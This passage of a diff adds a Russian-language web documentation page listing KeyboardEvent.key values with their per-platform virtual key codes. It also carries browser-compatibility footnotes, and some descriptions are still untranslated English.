+    <code>KEYCODE_ALT_RIGHT</code> (58)</td>
+  </tr>
+  <tr>
+   <td><code>"AltGraph"</code> [5]</td>
+   <td>Клавиша<kbd>AltGr</kbd> или <kbd>AltGraph</kbd> (Альтернативная графика). Enables the ISO Level 3 shift modifier (where <kbd>Shift</kbd> is the level 2 modifier).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Mode_switch</code> (0xFF7E)<br>
+    <code>GDK_KEY_ISO_Level3_Shift</code> (0xFE03)<br>
+    <code>GDK_KEY_ISO_Level3_Latch</code> (0xFE04)<br>
+    <code>GDK_KEY_ISO_Level3_Lock</code> (0xFE05)<br>
+    <code>GDK_KEY_ISO_Level5_Shift</code> (0xFE11)<br>
+    <code>GDK_KEY_ISO_Level5_Latch</code> (0xFE12)<br>
+    <code>GDK_KEY_ISO_Level5_Lock</code> (0xFE13)<br>
+    <code>Qt::Key_AltGr</code> (0x01001103<br>
+    <code>Qt::Key_Mode_switch</code> (0x0100117E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CapsLock"</code></td>
+   <td>Клавиша <kbd>Caps Lock</kbd> . Включает и выключает блокировку заглавных букв для последующего ввода.</td>
+   <td><code>VK_CAPITAL</code> (0x14)</td>
+   <td><code>kVK_CapsLock</code> (0x39)</td>
+   <td><code>GDK_KEY_Caps_Lock</code> (0xFFE5)<br>
+    <code>Qt::Key_CapsLock</code> (0x01000024)</td>
+   <td><code>KEYCODE_CAPS_LOCK</code> (115)</td>
+  </tr>
+  <tr>
+   <td><code>"Control"</code></td>
+   <td>Клавиша <kbd>Control</kbd>, <kbd>Ctrl</kbd>, или <kbd>Ctl</kbd> . Позволяет вводить управляющие символы.</td>
+   <td><code>VK_CONTROL</code> (0x11)<br>
+    <code>VK_LCONTROL</code> (0xA2)<br>
+    <code>VK_RCONTROL</code> (0xA3)</td>
+   <td><code>kVK_Control</code> (0x3B)<br>
+    <code>kVK_RightControl</code> (0x3E)</td>
+   <td><code>GDK_KEY_Control_L</code> (0xFFE3)<br>
+    <code>GDK_KEY_Control_R</code> (0xFFE4)<br>
+    <code>Qt::Key_Control</code> (0x01000021)</td>
+   <td><code>KEYCODE_CTRL_LEFT</code> (113)<br>
+    <code>KEYCODE_CTRL_RIGHT</code> (114)</td>
+  </tr>
+  <tr>
+   <td><code>"Fn"</code></td>
+   <td> <kbd>Fn</kbd> (Function modifier) key. Используется для создания функциональной клавиши (<kbd>F1</kbd>–<kbd>F15</kbd>, например) символы на клавиатуре без выделенной области функциональных клавиш.Часто обрабатывается аппаратно, поэтому для этой клавиши не создаются события.</td>
+   <td></td>
+   <td><code>kVK_Function</code> (0x3F)</td>
+   <td></td>
+   <td><code>KEYCODE_FUNCTION</code> (119)</td>
+  </tr>
+  <tr>
+   <td><code>"FnLock"</code></td>
+   <td>Клавиша <kbd>FnLock</kbd> или <kbd>F-Lock</kbd> (Function Lock) .Переключает режим функциональных клавиш, описанный<code>"Fn"</code> вкл. и выкл. Часто обрабатывается аппаратно, поэтому для этой клавиши не создаются события.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Hyper"</code> [4]</td>
+   <td>Клавиша <kbd>Hyper</kbd> .</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hyper_L</code> (0xFFED)<br>
+    <code>GDK_KEY_Hyper_R</code> (0xFFEE)<br>
+    <code>Qt::Key_Hyper_L</code> (0x01000056)<br>
+    <code>Qt::Key_Hyper_R</code> (0x01000057)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Meta"</code> [1]</td>
+   <td>Клавиша <kbd>Meta</kbd> . Позволяет вводить специальные команды. Это клавиши с лого <kbd>Windows</kbd> , или<kbd>Command</kbd> или <kbd>⌘</kbd> на клавиатуре Mac .</td>
+   <td><code>VK_LWIN</code> (0x5B)<br>
+    <code>VK_RWIN</code> (0x5C)</td>
+   <td><code>kVK_Command</code> (0x37)<br>
+    <code>kVK_RightCommand</code> (0x36)</td>
+   <td><code>GDK_KEY_Meta_L</code> (0xFFE7)<br>
+    <code>GDK_KEY_Meta_R</code> (0xFFE8)<br>
+    <code>Qt::Key_Meta</code> (0x01000022)</td>
+   <td><code>KEYCODE_META_LEFT</code> (117)<br>
+    <code>KEYCODE_META_RIGHT</code> (118)</td>
+  </tr>
+  <tr>
+   <td><code>"NumLock"</code></td>
+   <td>Клавиша <kbd>NumLock</kbd> (Number Lock). Переключает цифровую клавиатуру между вводом номера и другим режимом (часто стрелки направления).</td>
+   <td><code>VK_NUMLOCK</code> (0x90)</td>
+   <td></td>
+   <td><code>GDK_KEY_Num_Lock</code> (0xFF7F)<br>
+    <code>Qt::Key_NumLock</code> (0x01000025)</td>
+   <td><code>KEYCODE_NUM_LOCK</code> (143)</td>
+  </tr>
+  <tr>
+   <td><code>"ScrollLock"</code> [2]</td>
+   <td>Клавиша<kbd>Scroll Lock</kbd> Перекключает между режимами прокрутки и перемещения курсора.</td>
+   <td><code>VK_SCROLL</code> (0x91)</td>
+   <td></td>
+   <td><code>GDK_KEY_Scroll_Lock</code> (0xFF14)<br>
+    <code>Qt::Key_ScrollLock</code> (0x01000026)</td>
+   <td><code>KEYCODE_SCROLL_LOCK</code> (116)</td>
+  </tr>
+  <tr>
+   <td><code>"Shift"</code></td>
+   <td>Клавиша <kbd>Shift</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">Изменяет нажатия клавиш, чтобы разрешить ввод букв в верхнем (или другом) регистре, а также для поддержки ввода знаков препинания и других специальных символов.</span></span></td>
+   <td><code>VK_SHIFT</code> (0x10)<br>
+    <code>VK_LSHIFT</code> (0xA0)<br>
+    <code>VK_RSHIFT</code> (0xA1)</td>
+   <td><code>kVK_Shift</code> (0x38)<br>
+    <code>kVK_RightShift</code> (0x3C)</td>
+   <td><code>GDK_KEY_Shift_L</code> (0xFFE1)<br>
+    <code>GDK_KEY_Shift_R</code> (0xFFE2)<br>
+    <code>Qt::Key_Shift</code> (0x01000020)</td>
+   <td><code>KEYCODE_SHIFT_LEFT</code> (59)<br>
+    <code>KEYCODE_SHIFT_RIGHT</code> (60)</td>
+  </tr>
+  <tr>
+   <td><code>"Super"</code> [4]</td>
+   <td>Клавиша <kbd>Super</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Super_L</code> (0xFFEB)<br>
+    <code>GDK_KEY_Super_R</code> (0xFFEC)<br>
+    <code>Qt::Key_Super_L</code> (0x01000053)<br>
+    <code>Qt::Key_Super_R</code> (0x01000054)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Symbol"</code></td>
+   <td>Клавиша-модификатор <kbd>Symbol</kbd> <span class="tlid-translation translation" lang="ru"><span title="">(есть на некоторых виртуальных клавиатурах).</span></span></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_SYM</code> (63) [3]</td>
+  </tr>
+  <tr>
+   <td><code>"SymbolLock"</code></td>
+   <td>Клавиша <kbd>Symbol Lock</kbd></td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+ </thead>
+</table>
+
+<p>[1] В Internet Explorer (проверено на релизах 9 и 11), а также во всех версиях Firefox, клавиша <kbd>Windows</kbd> сообщается как <code>"OS"</code> а не <code>"Meta"</code>. Это будет изменено в Firefox в {{bug(1232918)}}. Пока это не будет исправлено, эти ключи возвращаются как <code>"OS"</code> в Firefox: <code>VK_LWIN</code> (0x5B) и <code>VK_RWIN</code> (0x5C) в Windows, и <code><code>GDK_KEY_Super_L</code> (0xFFEB)</code>, <code><code>GDK_KEY_Super_R</code> (0xFFEC)</code>, <code><code>GDK_KEY_Hyper_L</code> (0xFFED)</code>, и <code><code>GDK_KEY_Hyper_R</code> (0xFFEE)</code> в Linux.</p>
+
+<p>[2] Internet Explorer (проверено на релизах 9 и 11) сообщает <code>"Scroll"</code> вместо<code> "ScrollLock"</code> для клавиши <kbd>Scroll Lock</kbd>.</p>
+
+<p>[3] Firefox не поддерживает клавишу <kbd>Symbol</kbd> до версии Firefox 37.</p>
+
+<p>[4] <span class="tlid-translation translation" lang="ru"><span title="">Firefox генерирует значение ключа</span></span> <code>"OS</code>" для клавиш <kbd>Super</kbd> и <kbd>Hyper</kbd> вместо <code>"Super"</code> и <code>"Hyper"</code>.</p>
+
+<p>[5] Chrome 67 и Firefox 63 <span class="tlid-translation translation" lang="ru"><span title="">теперь правильно интерпретируют правую клавишу</span></span> <kbd>Alt</kbd> <span class="tlid-translation translation" lang="ru"><span title="">для раскладок клавиатуры, которые сопоставляют эту клавишу с</span></span> <kbd>AltGr</kbd>. <span class="tlid-translation translation" lang="ru"><span title="">См. Дополнительные сведения об ошибке</span></span> {{bug(900750)}} и <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=25503">Chrome bug 25503</a> для подробных деталей.</p>
+
+<h2 id="Пробельные_клавиши">Пробельные клавиши</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Enter"</code></td>
+   <td>Клавиша <kbd>Enter</kbd> или<kbd>↵</kbd> (иногда помечается как <kbd>Return</kbd>).</td>
+   <td><code>VK_RETURN</code> (0x0D)</td>
+   <td><code>kVK_Return</code> (0x24)<br>
+    <code>kVK_ANSI_KeypadEnter</code> (0x4C)<br>
+    <code>kVK_Powerbook_KeypadEnter</code> (0x34)</td>
+   <td><code><code>GDK_KEY_Return</code> (0xFF0D)</code><br>
+    <code><code>GDK_KEY_KP_Enter</code> (0xFF8D)</code><br>
+    <code><code>GDK_KEY_ISO_Enter</code> (0xFE34)</code><br>
+    <code><code>GDK_KEY_3270_Enter</code> (0xFD1E)</code><br>
+    <code>Qt::Key_Return</code> (0x01000004)<br>
+    <code>Qt::Key_Enter</code> (0x01000005)</td>
+   <td><code>KEYCODE_ENTER</code> (66)<br>
+    <code>KEYCODE_NUMPAD_ENTER</code> (160)<br>
+    <code>KEYCODE_DPAD_CENTER</code> (23)</td>
+  </tr>
+  <tr>
+   <td><code>"Tab"</code></td>
+   <td>Горизонтальная табуляция, <kbd>Tab</kbd>.</td>
+   <td><code>VK_TAB</code> (0x09)</td>
+   <td><code>kVK_Tab</code> (0x30)</td>
+   <td><code><code>GDK_KEY_Tab</code> (0xFF09)</code><br>
+    <code><code>GDK_KEY_KP_Tab</code> (0xFF89)<br>
+    GDK_KEY_ISO_Left_Tab</code> (0xFE20)<br>
+    <code>Qt::Key_Tab</code> (0x01000001)</td>
+   <td><code>KEYCODE_TAB</code> (61)</td>
+  </tr>
+  <tr>
+   <td><code>" "</code> [1]</td>
+   <td>Пробел, <kbd>Space Bar</kbd>.</td>
+   <td><code>VK_SPACE</code> (0x20)</td>
+   <td><code>kVK_Space</code> (0x31)</td>
+   <td>
+    <p><code>GDK_KEY_space</code> (0x20)<br>
+     <code>GDK_KEY_KP_Space</code> (0xFF80)<br>
+     <code>Qt::Key_Space</code> (0x20)</p>
+   </td>
+   <td><code>KEYCODE_SPACE</code> (62)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Старые браузеры могут вернуть <code>"Spacebar"</code> вместо <code>" "</code> для клавиши <kbd>Space Bar</kbd> . Firefox делал это до версии 37, как в Internet Explorer 9, 10, и 11.</p>
+
+<h2 id="Навигационные_клавиши">Навигационные клавиши</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"ArrowDown"</code> [1]</td>
+   <td>Клавиша со стрелкой "вниз".</td>
+   <td><code>VK_DOWN</code> (0x28)</td>
+   <td><code>kVK_DownArrow</code> (0x7D)</td>
+   <td><code>GDK_KEY_Down</code> (0xFF54)<br>
+    <code>GDK_KEY_KP_Down</code> (0xFF99)<br>
+    <code>Qt::Key_Down</code> (0x01000015)</td>
+   <td><code>KEYCODE_DPAD_DOWN</code> (20)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowLeft"</code> [1]</td>
+   <td>Клавиша со стрелкой "влево" .</td>
+   <td><code>VK_LEFT</code> (0x25)</td>
+   <td><code>kVK_LeftArrow</code> (0x7B)</td>
+   <td><code>GDK_KEY_Left</code> (0xFF51)<br>
+    <code>GDK_KEY_KP_Left</code> (0xFF96)<br>
+    <code>Qt::Key_Left</code> (0x01000012)</td>
+   <td><code>KEYCODE_DPAD_LEFT</code> (21)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowRight"</code> [1]</td>
+   <td>Клавиша со стрелкой "вправо".</td>
+   <td><code>VK_RIGHT</code> (0x27)</td>
+   <td><code>kVK_RightArrow</code> (0x7C)</td>
+   <td><code>GDK_KEY_Right</code> (0xFF53)<br>
+    <code>GDK_KEY_KP_Right</code> (0xFF98)<br>
+    <code>Qt::Key_Right</code> (0x01000014)</td>
+   <td><code>KEYCODE_DPAD_RIGHT</code> (22)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowUp"</code> [1]</td>
+   <td>Клавиша со стрелкой "вверх".</td>
+   <td><code>VK_UP</code><code> (0x26)</code></td>
+   <td><code>kVK_UpArrow</code> (0x7E)</td>
+   <td><code>GDK_KEY_Up</code> (0xFF52)<br>
+    <code>GDK_KEY_KP_Up</code> (0xFF97)<br>
+    <code>Qt::Key_Up</code> (0x01000013)</td>
+   <td><code>KEYCODE_DPAD_UP</code> (19)</td>
+  </tr>
+  <tr>
+   <td><code>"End"</code></td>
+   <td>Клавиша <kbd>End</kbd> . Перемещает в конец контента.</td>
+   <td><code>VK_END</code> (0x23)</td>
+   <td><code>kVK_End</code> (0x77)</td>
+   <td><code>GDK_KEY_End</code> (0xFF57)<br>
+    <code>GDK_KEY_KP_End</code> (0xFF9C)<br>
+    <code>Qt::Key_End</code> (0x01000011)</td>
+   <td><code>KEYCODE_MOVE_END</code> (123)</td>
+  </tr>
+  <tr>
+   <td><code>"Home"</code></td>
+   <td>Клавиша <kbd>Home</kbd> . В начало контента.</td>
+   <td><code>VK_HOME</code> (0x24)</td>
+   <td><code>kVK_Home</code> (0x73)</td>
+   <td><code>GDK_KEY_Home</code> (0xFF50)<br>
+    <code>GDK_KEY_KP_Home</code> (0xFF95)<br>
+    <code>Qt::Key_Home</code> (0x01000010)</td>
+   <td><code>KEYCODE_MOVE_HOME</code> (122)</td>
+  </tr>
+  <tr>
+   <td><code>"PageDown"</code></td>
+   <td>Клавиша <kbd>Page Down</kbd> (или <kbd>PgDn</kbd>). <span class="tlid-translation translation" lang="ru"><span title="">Прокручивает вниз или отображает следующую страницу содержимого.</span></span></td>
+   <td><code>VK_NEXT</code> (0x22)</td>
+   <td><code>kVK_PageDown</code><code> (0x79)</code></td>
+   <td><code>GDK_KEY_Page_Down</code> (0xFF56)<br>
+    <code>GDK_KEY_KP_Page_Down</code> (0xFF9B)<br>
+    <code>Qt::Key_PageDown</code> (0x01000017)</td>
+   <td><code>KEYCODE_PAGE_DOWN</code> (93)</td>
+  </tr>
+  <tr>
+   <td><code>"PageUp"</code></td>
+   <td>Клавиша <kbd>Page Up</kbd> (или <kbd>PgUp</kbd>). <span class="tlid-translation translation" lang="ru"><span title="">Прокручивает вверх или отображает предыдущую страницу содержимого.</span></span></td>
+   <td><code>VK_PRIOR</code> (0x21)</td>
+   <td><code>kVK_PageUp</code> (0x74)</td>
+   <td><code>GDK_KEY_Page_Up</code> (0xFF55)<br>
+    <code>GDK_KEY_KP_Page_Up</code> (0xFF9A)<br>
+    <code>Qt::Key_PageUp</code> (0x01000016)</td>
+   <td><code>KEYCODE_PAGE_UP</code> (92)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Internet Explorer, Edge (16 и ранее), и Firefox (36 и ранее) используют <code>"Left"</code>, <code>"Right"</code>, <code>"Up"</code>, и <code>"Down"</code> вместо <code>"ArrowLeft"</code>, <code>"ArrowRight"</code>, <code>"ArrowUp"</code>, и <code>"ArrowDown"</code>.</p>
+
+<h2 id="Клавиши_редактирования">Клавиши редактирования</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Backspace"</code></td>
+   <td>The <kbd>Backspace</kbd> key. This key is labeled <kbd>Delete</kbd> on Mac keyboards.</td>
+   <td><code>VK_BACK</code> (0x08)</td>
+   <td><code>kVK_Delete</code> (0x33)</td>
+   <td><code>GDK_KEY_BackSpace</code> (0xFF08)<br>
+    <code>Qt::Key_Backspace</code> (0x01000003)</td>
+   <td><code>KEYCODE_DEL</code> (67)</td>
+  </tr>
+  <tr>
+   <td><code>"Clear"</code></td>
+   <td>The <kbd>Clear</kbd> key. Removes the currently selected input.</td>
+   <td><code>VK_CLEAR</code> (0x0C)<br>
+    <code>VK_OEM_CLEAR</code> (0xFE)</td>
+   <td><code>kVK_ANSI_KeypadClear</code> (0x47)</td>
+   <td><code>GDK_KEY_Clear</code> (0xFF0B)<br>
+    <code>Qt::Key_Clear</code> (0x0100000B)</td>
+   <td><code>KEYCODE_CLEAR</code> (28)</td>
+  </tr>
+  <tr>
+   <td><code>"Copy"</code></td>
+   <td>The <kbd>Copy</kbd> key (on certain extended keyboards).</td>
+   <td><code>APPCOMMAND_COPY</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Copy</code> (0x1008FF57)<br>
+    <code>Qt::Key_Copy</code> (0x010000CF)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CrSel"</code> [3]</td>
+   <td>The Cursor Select key, <kbd>CrSel</kbd>.</td>
+   <td><code>VK_CRSEL</code> (0xF7)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_CursorSelect</code> (0xFD1C)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Cut"</code></td>
+   <td>The <kbd>Cut</kbd> key (on certain extended keyboards).</td>
+   <td><code>APPCOMMAND_CUT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Cut</code> (0x1008FF58)<br>
+    <code>Qt::Key_Cut</code> (0x010000D0)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Delete"</code> [2]</td>
+   <td>Клавиша Delete, <kbd>Del</kbd>.</td>
+   <td><code>VK_DELETE</code> (0x2E)</td>
+   <td><code>kVK_ForwardDelete</code> (0x75) [1]</td>
+   <td><code>GDK_KEY_Delete</code> (0xFFFF)<br>
+    <code>GDK_KEY_KP_Delete</code> (0xFF9F)<br>
+    <code>Qt::Key_Delete</code> (0x01000007)</td>
+   <td><code>KEYCODE_FORWARD_DEL</code> (112)</td>
+  </tr>
+  <tr>
+   <td><code>"EraseEof"</code></td>
+   <td>Erase to End of Field. Deletes all characters from the current cursor position to the end of the current field.</td>
+   <td><code>VK_EREOF</code> (0xF9)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_ExSelect</code> (0xFD1B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ExSel"</code> [4]</td>
+   <td>The <kbd>ExSel</kbd> (Extend Selection) key.</td>
+   <td><code>VK_EXSEL</code> (0xF8)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_ExSelect</code> (0xFD1B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Insert"</code></td>
+   <td>The Insert key, <kbd>Ins</kbd>. Toggles between inserting and overwriting text.</td>
+   <td><code>VK_INSERT</code> (0x2D)</td>
+   <td></td>
+   <td><code>GDK_KEY_Insert</code> (0xFF63)<br>
+    <code>GDK_KEY_KP_Insert</code> (0xFF9E)<br>
+    <code>Qt::Key_Insert</code> (0x01000006)</td>
+   <td><code>KEYCODE_INSERT</code> (124)</td>
+  </tr>
+  <tr>
+   <td><code>"Paste"</code></td>
+   <td>Paste from the clipboard.</td>
+   <td><code>APPCOMMAND_PASTE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Paste</code> (0x1008FF6D)<br>
+    <code>Qt::Key_Paste</code> (0x010000E2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Redo"</code></td>
+   <td>Redo the last action.</td>
+   <td><code>APPCOMMAND_REDO</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Redo</code> (0xFF66)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Undo"</code></td>
+   <td>Undo the last action.</td>
+   <td><code>APPCOMMAND_UNDO</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Undo</code> (0xFF65)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] On keyboards without a dedicated <kbd>Del</kbd> key, the Mac generates the <code>"Delete"</code> value when <kbd>Fn</kbd> is pressed in tandem with <kbd>Delete</kbd> (which is <kbd>Backspace</kbd> on other platforms).</p>
+
+<p>[2] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier use <code>"Del"</code> instead of <code>"Delete"</code> for the <kbd>Del</kbd> key.</p>
+
+<p>[3] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value <code>"Crsel"</code> instead of <code>"CrSel"</code> when the <kbd>CrSel</kbd> key is pressed.</p>
+
+<p>[4] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value <code>"Exsel"</code> instead of <code>"ExSel"</code> when the <kbd>ExSel</kbd> key is pressed.</p>
+
+<h2 id="Клавиши_интерфейса_пользователя_UI">Клавиши интерфейса пользователя (UI)</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Accept"</code></td>
+   <td>Клавиша или кнопка <kbd>Accept</kbd>, <kbd>Commit</kbd>, или <kbd>OK</kbd>. Accepts the currently selected option or input method sequence conversion.</td>
+   <td><code>VK_ACCEPT</code> (0x1E)</td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_DPAD_CENTER</code> (23)</td>
+  </tr>
+  <tr>
+   <td><code>"Again"</code></td>
+   <td>The <kbd>Again</kbd> key. Перевыполняет или повторяет предыдущее действие.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Redo</code> (0xFF66)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Attn"</code> [4]</td>
+   <td>Клавиша "Внимание" <kbd>Attn</kbd>.</td>
+   <td><code>VK_OEM_ATTN</code> (0xF0)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_Attn</code> (0xFD0E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Cancel"</code> [1]</td>
+   <td>Клавиша отмены <kbd>Cancel</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Cancel</code> (0xFF69)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ContextMenu"</code> [3]</td>
+   <td>Отображает контекстное меню. Обычно находится между клавишами <kbd>Windows</kbd> (или <kbd>OS</kbd>) и <kbd>Control</kbd> на правой стороне клавиатуры.</td>
+   <td><code>VK_APPS</code> (0x5D)</td>
+   <td><code>kVK_PC_ContextMenu</code> (0x6E)</td>
+   <td><code>GDK_KEY_Menu</code> (0xFF67)<br>
+    <code>Qt::Key_Menu</code> (0x01000055)</td>
+   <td><code>KEYCODE_MENU</code> (82)</td>
+  </tr>
+  <tr>
+   <td><code>"Escape"</code> [2]</td>
+   <td>Клавиша отмены <kbd>Esc</kbd>. Обычно используется для выходы, отмены, ил выхода из текущей операции. Исторически Escape-символ использовался для подачи сигнала о начале специальной управляющей последовательности символов, называемой "escape-последовательностью".</td>
+   <td><code>VK_ESCAPE</code> (0x1B)</td>
+   <td><code>kVK_Escape</code> (0x35)</td>
+   <td><code>GDK_KEY_Escape</code> (0xFF1B)<br>
+    <code>Qt::Key_Escape</code> (0x01000000)</td>
+   <td><code>KEYCODE_ESCAPE</code> (111)</td>
+  </tr>
+  <tr>
+   <td><code>"Execute"</code></td>
+   <td>Клавиша "Выполнить" <kbd>Execute</kbd>.</td>
+   <td><code>VK_EXECUTE</code> (0x2B)</td>
+   <td></td>
+   <td><code>Qt::Key_Execute</code> (0x01020003)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Find"</code></td>
+   <td>Клавиша "Найти" <kbd>Find</kbd>. Открывает интерфейс (обычно диалоговое окно) для выполнения операции поиска.</td>
+   <td><code>APPCOMMAND_FIND</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Find</code> (0xFF68)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Finish"</code> [5]</td>
+   <td>Клавиша завершения <kbd>Finish</kbd>.</td>
+   <td><code>VK_OEM_FINISH</code> (0xF1)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Help"</code></td>
+   <td>Клавиша помощи <kbd>Help</kbd>. Открывает или переключает отображение справочной информации.</td>
+   <td><code>VK_HELP</code> (0x2F)<br>
+    <code>APPCOMMAND_HELP</code></td>
+   <td><code>kVK_Help</code> (0x72)</td>
+   <td><code>GDK_KEY_Help</code> (0xFF6A)<br>
+    <code>Qt::Key_Help</code> (0x01000058)</td>
+   <td><code>KEYCODE_HELP</code> (259)</td>
+  </tr>
+  <tr>
+   <td><code>"Pause"</code></td>
+   <td>Клавиша паузы <kbd>Pause</kbd>. Приостанавливает текущее приложение или состояние, если это применимо.
+    <div class="note"><strong>Заметка:</strong> Не следует путать с клавишей <code>"MediaPause"</code> , которая используется для медиа-контроллеров, а не для управления приложениями и процессами.</div>
+   </td>
+   <td><code>VK_PAUSE</code> (0x13)</td>
+   <td></td>
+   <td><code>GDK_KEY_Pause</code> (0xFF13)<br>
+    <code>GDK_KEY_Break</code> (0xFF6B)<br>
+    <code>Qt::Key_Pause</code> (0x01000008)</td>
+   <td><code>KEYCODE_BREAK</code> (121)</td>
+  </tr>
+  <tr>
+   <td><code>"Play"</code></td>
+   <td>Клавиша <kbd>Play</kbd> . Если применимо, возобновляет ранее приостановленное приложение.
+    <div class="note"><strong>Заметка:</strong> Не следует путать с клавишей<code>"MediaPlay"</code> которая используется для медиа-контроллеров, а не для управления приложениями и процессами.</div>
+   </td>
+   <td><code>VK_PLAY</code> (0xFA)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_Play</code> (0xFD16)<br>
+    <code>Qt::Key_Play</code> (0x01020005)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Props"</code></td>
+   <td>Клавиша "Свойства" <kbd>Props</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Select"</code></td>
+   <td>Клавиша выбора/выделения <kbd>Select</kbd>.</td>
+   <td><code>VK_SELECT</code> (0x29)</td>
+   <td></td>
+   <td><code>GDK_KEY_Select</code> (0xFF60)</td>
+   <td><code>KEYCODE_BUTTON_SELECT</code> (109)</td>
+  </tr>
+  <tr>
+   <td><code>"ZoomIn"</code> [6]</td>
+   <td>Клавиша увеличения масштаба <kbd>ZoomIn</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ZoomIn</code> (0x1008FF8B)<br>
+    <code>Qt::Key_ZoomIn</code> (0x010000F6)</td>
+   <td><code>KEYCODE_ZOOM_IN</code> (168)</td>
+  </tr>
+  <tr>
+   <td><code>"ZoomOut"</code> [6]</td>
+   <td>Клавиша уменьшения масштаба <kbd>ZoomOut</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ZoomOut</code> (0x1008FF8C)<br>
+    <code>Qt::Key_ZoomOut</code> (0x010000F7)</td>
+   <td><code>KEYCODE_ZOOM_OUT</code> (169)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] В Google Chrome 52, клавиша <kbd>Cancel</kbd> ошибочно возвращает значение <code>"Pause"</code>. Исправлено в Chrome 53. (Смотри подробно в <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612749">Chrome bug 612749</a>.)</p>
+
